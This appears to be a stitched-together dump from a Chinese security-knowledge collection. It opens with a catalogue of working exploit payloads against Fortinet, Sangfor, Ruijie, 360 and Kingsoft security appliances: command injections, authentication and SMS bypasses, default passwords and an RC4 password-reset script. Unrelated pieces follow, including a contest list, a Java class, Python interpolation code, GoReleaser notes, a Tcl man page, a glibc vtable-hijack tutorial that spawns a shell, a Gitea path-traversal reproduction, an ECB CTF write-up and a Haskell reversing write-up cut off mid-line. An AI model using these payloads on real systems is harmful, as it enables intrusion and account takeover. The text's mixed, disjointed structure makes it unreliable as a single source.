app="FORTINET-防火墙" **CVE-2018-13379 Fortigate SSL VPN 密码读取** - POC | Payload | exp - [milo2012/CVE-2018-13379](https://github.com/milo2012/CVE-2018-13379) **CVE-2018-13382 Fortigate SSL VPN 任意密码重置** - POC | Payload | exp - [milo2012/CVE-2018-13382](https://github.com/milo2012/CVE-2018-13382) **CVE-2022-40684 FortiOS Authentication Bypass** - 相关文章 - [FortiOS, FortiProxy, and FortiSwitchManager Authentication Bypass Technical Deep Dive (CVE-2022-40684)](https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/) - POC | Payload | exp - [horizon3ai/CVE-2022-40684](https://github.com/horizon3ai/CVE-2022-40684) ``` git clone https://github.com/horizon3ai/CVE-2022-40684.git cd CVE-2022-40684 ssh-keygen -t rsa python3 CVE-2022-40684.py -t 1.1.1.1 --username admin --key-file ~/.ssh/id_rsa.pub ssh admin@1.1.1.1 ``` #### Palo Alto SSL VPN **CVE-2019-1579 Palo Alto GlobalProtect 远程代码执行漏洞** - 相关文章 - [Orange: Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!](https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html) - [Palo Alto GlobalProtect上的PreAuth RCE](https://www.cnblogs.com/backlion/p/11209054.html) - POC | Payload | exp - [securifera/CVE-2019-1579](https://github.com/securifera/CVE-2019-1579) #### Pulse Secure SSL VPN **CVE-2019-11510 Pulse Secure SSL VPN 任意文件读取漏洞** - 相关文章 - [Pulse Secure 任意文件读取(CVE-2019-11510)漏洞](https://www.cnblogs.com/StudyCat/p/11440991.html) - POC | Payload | exp - [projectzeroindia/CVE-2019-11510](https://github.com/projectzeroindia/CVE-2019-11510) **CVE-2019-11539 Pulse Secure SSL VPN 远程代码执行漏洞** - POC | Payload | exp - [0xDezzy/CVE-2019-11539](https://github.com/0xDezzy/CVE-2019-11539) #### 深信服 VPN **常见密码** ``` admin/sangfor@123 sangfor/sangfor test/test test1/123456b ``` **口令爆破** - POC | Payload | exp - https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=20633 ``` 用户登录,若多次尝试登录失败会要求输入验证码,若输入错误的验证码,会提示“校验码错误或校验码已过期”;修改登录请求的数据包,清空cookie和验证码字段的值即可绕过验证码,此时提示“用户名或密码错误”。 /por/login_auth.csp?apiversion=1sangfor/cgi-bin/login.cgi?rnd= ``` **短信绕过** - POC | Payload | exp ``` POST https://路径/por/changetelnum.csp?apiversion=1 newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1 ``` **任意密码重置** - POC | Payload | exp ``` 某VPN加密算法使用了默认的key,攻击者构利用key构造重置密码数据包从而修改任意用户的密码 利用:需要登录账号 M7.6.6R1版本key为20181118 M7.6.1key为20100720 POST /por/changepwd.csp sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN(脚本计算后结果) ``` ```py from Crypto.Cipher import ARC4 from binascii import a2b_hex def myRC4(data, key): rc41= ARC4.new(key) encrypted =rc41.encrypt(data) return encrypted. encode('hex') def rc4_decrpt_hex(data, key): rc41= ARC4. new(key) return rc41. decrypt(a2b_hex(data)) key= '20100720' data = r',username-TARGET_USERNAME, ip-127.0.0.1,grpid-1, pripsw-suiyi , newpsw=TARGET PASSWORD,' print myRC4(data, key) ``` **RCE** - 影响版本 * SSLM7.6.6(20181120) * SSLM7.6.6R1(20181225) - 相关文章 - [深信服vpn逆向(挖洞)](https://www.cnblogs.com/unicodeSec/p/12326356.html) - POC | Payload | exp ``` https://x.com/por/checkurl.csp?url=http://127.0.0.1;sleep${IFS}5;&retry=0&timeout=1 ``` #### 锐捷 SSL VPN > FOFA: icon_hash="884334722" || title="Ruijie SSL VPN" **锐捷 SSL VPN 越权访问漏洞** - 相关文章 - [锐捷SSL VPN 越权访问漏洞](https://mp.weixin.qq.com/s/acU0CNhyNkKl99o1Iv3N-w) - POC | Payload | exp ``` GET /cgi-bin/main.cgi?oper=getrsc HTTP/1.1 Cookie: UserName=admin; SessionId=1; FirstVist=1; Skin=1; tunnel=1 ``` UserName 参数为已知用户名 #### Juniper SSL VPN **相关文章** - [Juniper SSLVPN / JunOS RCE and Multiple Vulnerabilities](https://octagon.net/blog/2022/10/28/juniper-sslvpn-junos-rce-and-multiple-vulnerabilities/) --- ### 威胁感知 #### Sophos UTM **CVE-2020-25223-Sophos UTM WebAdmin 远程命令执行漏洞** - 相关文章 - [CVE-2020-25223-Sophos UTM WebAdmin 远程命令执行漏洞分析](https://mp.weixin.qq.com/s/y14JalXGMvlBwsUkrC3rnQ) --- ## 终端响应与检测 **相关文章** - [绕过集中管控类安全软件小技巧](https://www.t00ls.net/articles-58584.html) ### EDR/杀软 **利用杀毒软件删除任意文件** - 相关文章 - [Exploiting (Almost) Every Antivirus Software](https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software/) - [利用杀毒软件删除任意文件](https://idiotc4t.com/defense-evasion/using-antivirus-to-delete-files) **白名单信任文件** - 相关文章 - [通过信任文件绕过火绒](https://mp.weixin.qq.com/s/mw8Sql8VtGfNGQkFxptWnQ) #### clamav - [Re: [NSE] Unauthenticated ClamAV Command Exec](https://seclists.org/nmap-dev/2016/q2/201) #### 深信服 EDR **相关文章** - [深信服DER RCE 复现](https://www.o2oxy.cn/3145.html) **2020.08命令执行** - 相关文章 - [深信服终端检测响应平台 EDR 代码审计](https://www.sqlsec.com/2020/08/edr.html) - POC | Payload | exp - [A2gel/sangfor-edr-exploit](https://github.com/A2gel/sangfor-edr-exploit) **2020.09命令执行** - POC | Payload | exp ``` POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9 {"params":"w=123\"'1234123'\"|命令"} ``` **后台任意用户登陆** - POC | Payload | exp ``` xxx.xxx.xxx.xxx/ui/login.php?user=admin ``` #### 360天擎 > Fofa: title="360天擎" **前台SQL注入** - POC | Payload | exp ``` /api/dp/rptsvcsyncpoint?ccid=1 ``` **数据库信息泄露漏洞** - POC | Payload | exp ``` http://x.x.x.x/api/dbstat/gettablessize ``` #### 金山 V8 终端安全系统 > Fofa: title="在线安装-V8+终端安全系统Web控制台" **任意文件读取漏洞** - POC | Payload | exp ``` /htmltopdf/downfile.php?filename=downfile.php ``` **pdf_maker.php 命令执行漏洞** - 相关文章 - [某终端安全系统Nday分析+复现](https://mp.weixin.qq.com/s/DJVjf0s5-8bnh-We3uD56A) - POC | Payload | exp ``` POST /inter/pdf_maker.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded url=IiB8fCBpcGNvbmZpZyB8fA%3D%3D&fileName=xxx ``` --- ### 数据防泄漏系统 #### 天融信数据防泄漏系统 **越权修改管理员密码** ``` 无需登录权限,由于修改密码处未校验原密码,且 /?module=auth_user&action=mod_edit_pwd 接口未授权访问,造成直接修改任意用户密码。 默认 superman 账户 uid 为 1。 POST /?module=auth_user&action=mod_edit_pwd Cookie: username=superman; uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1 ```
sec-knowleage
# 相关比赛 安全数据分析相关比赛 ### 国内 - [阿里云安全算法挑战赛](https://m.aliyun.com/markets/aliyun/security) - 相关WP: - [从机器学习在垂直领域的应用探索第三届阿里云安全算法挑战赛](https://xz.aliyun.com/t/3106) - 阿里SRC-[宙斯计划](https://security.alibaba.com/online/detail?type=1&id=88&tab=1) - “阿里云云安全中心推出“阿里云安全-宙斯计划”,围绕恶意文本检测、流量检测、恶意行为分析等多个方向,用挑战赛、论文共创、研讨会等多种形式,与广大安全产业及学术专家群体一起探索业内前沿技术” - [DataCon 大数据安全分析比赛](https://www.butian.net/datacon) - 相关WP: - [DataCon2020优秀解题思路分享:网络黑产方向(浙江大学matrix战队)](https://datacon.qianxin.com/blog/archives/196) ### 国外 - Kaggle - 相关比赛:[Malware Prediction](https://www.kaggle.com/search?q=Malware+Prediction) - 相关WP: - [初探Kaggle之再探微软恶意软件预测挑战赛](https://xz.aliyun.com/t/3780)
sec-knowleage
/* * Copyright 2015-2018 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example.users; import javax.persistence.Embeddable; import lombok.EqualsAndHashCode; import org.springframework.util.StringUtils; /** * value object to represent user names. * * @author Oliver Gierke */ @EqualsAndHashCode @Embeddable public class Username { private final String username; Username() { this.username = null; } /** * Creates a new {@link Username}. * * @param username must not be {@literal null} or empty. */ public Username(String username) { if (!StringUtils.hasText(username)) { throw new IllegalArgumentException("Invalid username!"); } this.username = username; } /* * (non-Javadoc) * @see java.lang.Object#toString() */ @Override public String toString() { return username; } }
sec-knowleage
s="""0; 35.645592; 50.951123; 20; 35.144068; 50.467725; 40; 34.729775; 48.204541; 60; 34.204433; 46.117139; 80; 33.602623; 44.908643; 100; 33.162285; 42.337842; 120; 33.712359; 40.140576; 140; 33.931410; 38.580518; 150; 33.894940; 37.745557; 170; 33.474422; 36.273389; 190; 35.32583531; 35.663648; 210; 33.130089; 35.19047214; 220; 32.409544; 35.141797; 230; 32.085525; 34.786115; """ x=[] y1=[] y2=[] for line in s.split("\n")[:-1]: line=line.split(";") x.append(float(line[0])) y1.append(float(line[1])) y2.append(float(line[2])) import numpy as np import matplotlib.pyplot as plt x=np.asarray(x) y1=np.asarray(y1) y2=np.asarray(y2) def coef(x, y): x.astype(float) y.astype(float) n = len(x) a = [] for i in range(n): a.append(y[i]) for j in range(1, n): for i in range(n-1, j-1, -1): a[i] = float(a[i]-a[i-1])/float(x[i]-x[i-j]) return np.array(a) # return an array of coefficient def Eval(a, x, r): x.astype(float) n = len( a ) - 1 temp = a[n] for i in range( n - 1, -1, -1 ): temp = temp * ( r - x[i] ) + a[i] return temp # return the y_value interpolation print Eval(coef(x,y1), x, 180) print Eval(coef(x,y2), x, 180)
sec-knowleage
# GoReleaser - https://github.com/goreleaser/goreleaser --- 自动化打包工具 --- **安装** - https://github.com/goreleaser/goreleaser/releases --- **使用** 在目标目录执行 goreleaser init ,将会生成一个 `.goreleaser.yml` 配置文件 修改配置,例如 ```yml # This is an example .goreleaser.yml file with some sane defaults. # Make sure to check the documentation at http://goreleaser.com before: hooks: # You may remove this if you don't use go modules. #- go mod tidy # you may remove this if you don't need go generate #- go generate ./... builds: - env: - CGO_ENABLED=0 id: "anewproject" binary: "anew" goos: - linux - windows - darwin goarch: - amd64 archives: - replacements: darwin: Darwin linux: Linux windows: Windows 386: i386 amd64: x86_64 checksum: name_template: 'checksums.txt' snapshot: name_template: "v1.0.0-snapshot" changelog: sort: asc filters: exclude: - '^docs:' - '^test:' ``` **打包** ``` goreleaser --snapshot --skip-publish --rm-dist ``` 这里可能会提示 ``` ⨯ release failed after 2.94s error=failed to build for darwin_amd64: go: cannot find main module, but found .git/config in C:\xxx ``` 直接 ``` go mod init hello ``` 再运行一遍就可以了 如果提示一下报错 ``` couldn't guess project_name, please add it to your config ``` 添加一行就行 ```yaml project_name: myproject ``` **main.go 不在根目录的情况** ```yaml # .goreleaser.yaml builds: - main: ./path/to/your/main/pkg/ ```
sec-knowleage
.TH PSFSTRIPTABLE 1 "28 Oct 1997" "控制台工具" "Linux 用户手册" .SH NAME psfstriptable \- 从控制台字体中移走嵌入的Uniocde字符表 .SH 总览 .B psfstriptable .I 字体文件 [输出文件] .SH 描述 .B psfstriptable 命令从 .IR 字体文件 或者标准输入(此时的 .I 字体文件 是单个破折号(\-))读取一个可能含有嵌入Unicode字体表的.psf格 式的控制台字体, 并将没有Unicode嵌入字符表的.psf格式的控制 台字体文件写回到标准输出或所指明的输出文件. .SH "另见" .BR consolechars (8), .BR psfaddtable (1), .BR psfgettable (1).
sec-knowleage
### 伪造vtable劫持程序流程简介 前面我们介绍了Linux中文件流的特性(FILE),我们可以得知Linux中的一些常见的IO操作函数都需要经过FILE结构进行处理。尤其是_IO_FILE_plus结构中存在vtable,一些函数会取出vtable中的指针进行调用。 因此伪造vtable劫持程序流程的中心思想就是针对_IO_FILE_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中布置函数指针来实现。 因此vtable劫持分为两种,一种是直接改写vtable中的函数指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针。 ### 伪造vtable劫持程序实践 这里演示了修改vtable中的指针,首先需要知道_IO_FILE_plus位于哪里,对于fopen的情况下是位于堆内存,对于stdin\stdout\stderr是位于libc.so中。 ``` int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable vtable_ptr[7]=0x41414141 //xsputn printf("call 0x41414141"); } ``` 根据vtable在_IO_FILE_plus的偏移得到vtable的地址,在64位系统下偏移是0xd8。之后需要搞清楚欲劫持的IO函数会调用vtable中的哪个函数。关于IO函数调用vtable的情况已经在FILE结构介绍一节给出了,知道了printf会调用vtable中的xsputn,并且xsputn的是vtable中第八项之后就可以写入这个指针进行劫持。 并且在xsputn等vtable函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus地址。比如这例子调用printf,传递给vtable的第一个参数就是_IO_2_1_stdout_的地址。 利用这点可以实现给劫持的vtable函数传參,比如 ``` #define system_ptr 0x7ffff7a52390; int main(void) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable memcopy(fp,"sh",3); vtable_ptr[7]=system_ptr //xsputn fwrite("hi",2,1,fp); } ``` 但是在目前libc2.23版本下,位于libc数据段的vtable是不可以进行写入的。不过,通过在可控的内存中伪造vtable的方法依然可以实现利用。 ``` #define system_ptr 0x7ffff7a52390; int main(void) { FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40); vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset vtable_addr[0]=(long long)fake_vtable; memcpy(fp,"sh",3); fake_vtable[7]=system_ptr; //xsputn fwrite("hi",2,1,fp); } ``` 我们首先分配一款内存来存放伪造的vtable,之后修改_IO_FILE_plus的vtable指针指向这块内存。因为vtable中的指针我们放置的是system函数的地址,因此需要传递参数"/bin/sh"或"sh"。 因为vtable中的函数调用时会把对应的_IO_FILE_plus指针作为第一个参数传递,因此这里我们把"sh"写入_IO_FILE_plus头部。之后对fwrite的调用就会经过我们伪造的vtable执行system("sh")。 同样,如果程序中不存在fopen等函数创建的_IO_FILE时,也可以选择stdin\stdout\stderr等位于libc.so中的_IO_FILE,这些流在printf\scanf等函数中就会被使用到。在libc2.23之前,这些vtable是可以写入并且不存在其他检测的。 ``` print &_IO_2_1_stdin_ $2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_> 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so ```
sec-knowleage
# Gitea 1.4.0 目录穿越导致命令执行漏洞 Gitea是从gogs衍生出的一个开源项目,是一个类似于Github、Gitlab的多用户Git仓库管理平台。其1.4.0版本中有一处逻辑错误,导致未授权用户可以穿越目录,读写任意文件,最终导致执行任意命令。 参考链接: - https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html - https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html ## 漏洞环境 执行如下命令启动启动漏洞环境: ``` docker compose up -d ``` 环境启动后,访问`http://you-ip:3000`,将进入安装页面,填写管理员账号密码,并修改网站URL,其他的用默认配置安装即可。(不要修改端口号) 安装完成后,创建一个公开的仓库,随便添加点文件进去(比如使用选定的文件和模板初始化仓库): ![](1.png) 然后,需要执行一次`docker compose restart`重启gitea服务。(原因详见第二个参考链接) ## 漏洞复现 由于漏洞链整体利用比较复杂,我们只复现文件读取部分,剩余利用方法详见第二个参考链接。 打开gitea,找到刚才创建的公开项目,如`vulhub/repo`,发送如下数据包,添加一个Git LFS对象: ``` POST /vulhub/repo.git/info/lfs/objects HTTP/1.1 Host: your-ip:3000 Accept-Encoding: gzip, deflate Accept: application/vnd.git-lfs+json Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 151 { "Oid": "....../../../etc/passwd", "Size": 1000000, "User" : "a", "Password" : "a", "Repo" : "a", "Authorization" : "a" } ``` 然后,访问`http://your-ip:3000/vulhub/repo.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth`,即可看到`/etc/passwd`已被成功读取: ![](2.png)
sec-knowleage
# ECB ECB模式全称为电子密码本模式(Electronic codebook)。 ## 加密 ## 解密 ## 优缺点 ### 优点 1. 实现简单。 2. 不同明文分组的加密可以并行计算,速度很快。 ### 缺点 1. 同样的明文块会被加密成相同的密文块,不会隐藏明文分组的统计规律。正如下图所示 为了解决统一明文产生相同密文的问题,提出了其它的加密模式。 ## 典型应用 1. 用于随机数的加密保护。 2. 用于单分组明文的加密。 ## 2016 ABCTF aes-mess-75 题目描述如下 ``` We encrypted a flag with AES-ECB encryption using a secret key, and got the hash: e220eb994c8fc16388dbd60a969d4953f042fc0bce25dbef573cf522636a1ba3fafa1a7c21ff824a5824c5dc4a376e75 However, we lost our plaintext flag and also lost our key and we can't seem to decrypt the hash back :(. Luckily we encrypted a bunch of other flags with the same key. Can you recover the lost flag using this? [HINT] There has to be some way to work backwards, right? ``` 可以看出,这个加密是一个 ECB 加密,然后 AES 是 16 个字节一组,每个字节可以使用两个 16 进制字符表示,因此,我们每 32 个字符一组进行分组,然后去对应的 txt 文件中搜索即可。 对应 flag ``` e220eb994c8fc16388dbd60a969d4953 abctf{looks_like f042fc0bce25dbef573cf522636a1ba3 _you_can_break_a fafa1a7c21ff824a5824c5dc4a376e75 es} ``` 最后一个显然在加密时进行了 padding。 ## 题目 - 2018 PlaidCTF macsh
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: seek.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: seek.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH seek 3tcl 8.1 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME seek \- 改变一个打开的通道的访问位置 .SH "总览 SYNOPSIS" \fBseek \fIchannelId offset \fR?\fIorigin\fR? .BE .SH "描述 DESCRIPTION" .PP 改变 \fIchannelId \fR的访问位置。\fIChannelId\fR 必须是从以前的 \fBopen\fR 或 \fBsocket \fR调用返回的一个通道标识符。\fIoffset\fR 和 \fIorigin\fR 参数指定在 \fIchannelId \fR中下一次读或写发生的位置。\fIOffset\fR 必须是一个整数(可以是负数) 而 \fIorigin\fR 必须是下列之一: .TP 10 \fBstart\fR 新访问位置是在底层的文件或设备的开始处偏移 \fIoffset\fR 字节。 .TP 10 \fBcurrent\fR 新访问位置是在当前访问位置上偏移 \fIoffset\fR 字节;一个负数 \fIoffset\fR 在底层文件或设备中反向移动访问位置。 .TP 10 \fBend\fR 新访问位置是在文件或设备的结束处偏移 \fIoffset\fR 字节。一个负数 \fIoffset\fR 把访问位置置于文件结束之前,而一个正数 \fIoffset\fR 把访问位置置于文件结束之后。 .LP The \fIorigin\fR argument defaults to \fBstart\fR. .PP 即使通道处于非阻塞模式下,在这个命令返回之前,它要刷新为这个通道缓冲的所有输出。它还丢弃所有已被缓冲而未读取的输入。这个命令返回一个空串。如果对其底层文件或设备不支持搜寻(seek)的通道使用了这个命令,则生成一个错误。 .PP .VS 8.1 注意:\fIoffset\fR 值是字节偏移量。\fBseek\fR 和 \fBtell\fR 二者按照字节进行操作,而不是象 \fBread \fR那样按照字符进行操作。 .VE 8.1 .SH "参见 SEE ALSO" file(n), open(n), close(n), gets(n), tell(n) .SH "关键字 KEYWORDS" access position, file, seek .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/30 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Patience (RE, 769p) This was a haskell reversing challenge. If this doesn't fill you with dread, this means that probably either: - you are most 1338 pr0 xakep r3v3rse engineer ever living - you don't comprehend the amount of horror that you're going to witness. Either way, you're in for some serious fun. In fact, I've never seen anyone actually reverse engineer (non-trivial) haskell binary before - most challenges are actually solved with black-box workarounds or other side channels. This task is no different - we are given .cmm file along with compiled binary. CMM files are dump of late-stage intermediate language from GHC. This is going to make our life way easier - we don't have to reverse haskell thunks, we have everything in plain text... well, sort of. ## How to be lazy A word of introduction to the beautiful world of functional programming. Haskell is a lazy language. But not just your average slightly-procrastinating kind - everything is delayed as long as it possibly can be, and I mean it. For example, consider this function: ```haskell integers n = n : integers (n+1) ``` if you don't speak Haskell, this is conceptually equivalent to following python code: ```python def integers(n): return [n] + integers(n + 1) ``` Do you see anything wrong with this code? Exactly, this is not a terribly useful function - it'll recurse forever, or rather eat all your available stack space and explode. Not in Haskell though - you can call this function, take first 100 elements of the result, and get perfectly useful result - haskell is *lazy*, so only necessary elements will be evaulated. But this still doesn't explain just how lazy Haskell is. Consider this: ```haskell foo (2 + 2) ``` This is just invoaction of function `foo` with parameter `4`. Wait, wrong, I lied to you. The parameter is `2 + 2`, and it's not actually evaluated until it's needed. Hell, you could've passed `1 / 0` and nothing bad would happen, at least until something actually evaulates the parameter. ## Reversing So, why the introduction? Well, this is how `main` function looks like in dump: ``` ==================== Output Cmm ==================== [section ""data" . :Main.main_closure" { :Main.main_closure: const :Main.main_info; const 0; const 0; const 0; }, :Main.main_entry() // [R1] { info_tbl: [(c3bb, label: :Main.main_info rep:HeapRep static { Thunk })] stack_info: arg_space: 8 updfr_space: Just 8 } {offset c3bb: _01D::P64 = R1; if ((Sp + 8) - 24 < SpLim) goto c3bc; else goto c3bd; c3bc: R1 = _01D::P64; call (stg_gc_enter_1)(R1) args: 8, res: 0, upd: 8; c3bd: (_c3b8::I64) = call "ccall" arg hints: [PtrHint, PtrHint] result hints: [PtrHint] newCAF(BaseReg, _01D::P64); if (_c3b8::I64 == 0) goto c3ba; else goto c3b9; c3ba: call (I64[_01D::P64])() args: 8, res: 0, upd: 8; c3b9: I64[Sp - 16] = stg_bh_upd_frame_info; I64[Sp - 8] = _c3b8::I64; R2 = Main.main_closure; R1 = GHC.TopHandler.runMainIO_closure; Sp = Sp - 16; call stg_ap_p_fast(R2, R1) args: 24, res: 0, upd: 24; } }] ``` Beautiful, isn't it? What's going on here? Nothing, actually. All this code does is: ```haskell runMainIO (main_closure) ``` where `main_closure` is well, closure from main. Let's dig deeper - what's inside this `main_closure`? ```haskell Main.main_entry() // [R1] { info_tbl: [(c3aW, label: Main.main_info rep:HeapRep static { Thunk })] stack_info: arg_space: 8 updfr_space: Just 8 } {offset c3aW: _rFG::P64 = R1; if ((Sp + 8) - 24 < SpLim) goto c3aX; else goto c3aY; c3aX: R1 = _rFG::P64; call (stg_gc_enter_1)(R1) args: 8, res: 0, upd: 8; c3aY: (_c3aT::I64) = call "ccall" arg hints: [PtrHint, PtrHint] result hints: [PtrHint] newCAF(BaseReg, _rFG::P64); if (_c3aT::I64 == 0) goto c3aV; else goto c3aU; c3aV: call (I64[_rFG::P64])() args: 8, res: 0, upd: 8; c3aU: I64[Sp - 16] = stg_bh_upd_frame_info; I64[Sp - 8] = _c3aT::I64; R5 = sat_s2Rj_closure+1; R4 = sat_s2Rf_closure; R3 = GHC.Base.$fMonadIO_closure; R2 = Data.Foldable.$fFoldable[]_closure; R1 = Data.Foldable.forM__closure; Sp = 